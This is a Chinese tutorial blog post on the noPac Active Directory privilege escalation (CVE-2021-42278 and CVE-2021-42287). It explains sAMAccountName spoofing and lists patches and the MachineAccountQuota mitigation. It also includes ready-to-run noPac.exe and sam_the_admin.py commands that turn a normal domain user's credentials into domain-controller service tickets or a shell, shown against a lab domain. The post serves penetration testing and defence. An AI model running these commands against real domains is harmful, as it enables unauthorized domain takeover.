nopac域提权

一.前言

2021年11月9日,微软Windows Active Directory 域服务权限提升漏洞,漏洞利用细节和工具被公开,漏洞编号CVE-2021-42287,CVE-2021-42278。可导致攻击者将域内普通用户提升至管理员权限等危害。该漏洞是由于Active Directory 域服务没有进行适当的安全限制,导致可绕过安全限制进行权限提升漏洞。

影响版本
windows server 2008/2012/2016/2019/2022等多个版本

二.漏洞概述

CVE-2021-42278
机器账户的名字应该以$结尾,即sAMAccountName属性,但ADCS没对机器账户名进行验证,导致存在绕过。配合CVE-2021-42287漏洞可以模拟域控制器机器账户,接管域控。该组合漏洞也可称作sAMAccountName spoofing
CVE-2021-42287
使用TGT申请ST时,当kdc未找到TGT对应的账户名时,KDC会再次在目录自动搜索,并搜索结尾的机器账户。如果创建与DC机器账户名字相同的机器账户(不以结尾),账户请求一个TGT后,更名账户,然后通过约束委派协议S4U2self申请TGS Ticket。接着DC在TGS_REP阶段,这个账户不存在的时候,DC会使用自己的密钥加密TGS Ticket,提供一个属于该账户的PAC,然后我们就得到具有域控权限的st。

说白了就是:如果获得了 DC 用户的 TGT 票据且域内有一台名为 DC$ 域控,再将 DC 用户删除,此时使用该 TGT 去请求 s4u2self,如果域控制器帐户 DC$ 存在,那么 DC 就能获得域控制器帐户(机器用户DC$)的 ST 票证。

攻击流程:
1.使用普通域用户创建机器账户,并清除该机器账户的spn。默认普通域用户可以创建10个机器账户,MachineAccountQuota默认为10;
2.将机器账户的sAMAccountName属性改为DC的机器账户名字,注意不包含$符;
3.使用Rubeus为机器账户请求生成TGT;
4.将机器账户的sAMAccountName属性修改为其他名字,不与dc机器名字重复;
5.使用Rubeus工具,通过S4U2self委派协议向DC请求TGS票据,也就是委派给dc去请求kdc发起认证,生成st;
可以使用adsi管理工具查看账户属性:
adsiedit.msc

三.漏洞利用

使用nopac脚本自动化利用

https://github.com/cube0x0/noPac
工具执行环境:nopac运行需安装 .net 4.0
需要条件:需要一个域普通用户

  • 检测是否存在漏洞
noPac.exe scan -domain redteam.red -user saul -pass 'Red12345'

  • 利用漏洞申请域管权限的st
    使用域普通用户的TGT,利用漏洞请求TGS申请域控机器账户 cifs服务和ldap服务的ST凭证:
# mAccount参数:重命名后的机器账户
# mPassword参数:重命名后的机器账户密码
noPac.exe -domain redteam.red -user saul -pass 'Red12345' /dc owa.redteam.red /mAccount saulgoodman /mPassword passW0rd /service cifs /ptt
noPac.exe -domain redteam.red -user saul -pass 'Red12345' /dc owa.redteam.red /mAccount saulgoodman /mPassword passW0rd /service ldap /ptt



访问域控的文件服务,还可进行dcsync

使用sam-the-admin脚本自动化利用

https://github.com/WazeHell/sam-the-admin
为避免当前机器缓存的票据对漏洞利用产生影响,先清空机器的凭证

klist purge #清空凭证
 klist

利用漏洞执行命令:
(ps:脚本只能在kali上运行,windows会报错)

python3 sam_the_admin.py "redteam/saul:Red12345" -dc-ip 10.10.10.8 -shell

windows会报错:

四.缓解措施

1.微软官方已推出补丁:KB5008602、KB5008380;
2.通过域控的 ADSI 编辑器工具将 AD 域的 MAQ 配置为 0,中断此漏洞的利用链。MachineAccountQuota默认为10,值为0意味着普通用户无法创建机器账户,也就无法直接利用这个漏洞

参考文档

https://exploit.ph/cve-2021-42287-cve-2021-42278-weaponisation.html
https://mp.weixin.qq.com/s/urKdoW9SgalZ4UtA2_1SBw
https://www.thehacker.recipes/ad/movement/kerberos/samaccountname-spoofing
https://mp.weixin.qq.com/s/RvOndF3gdEZbgqrIPqXsUg

  • 1
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值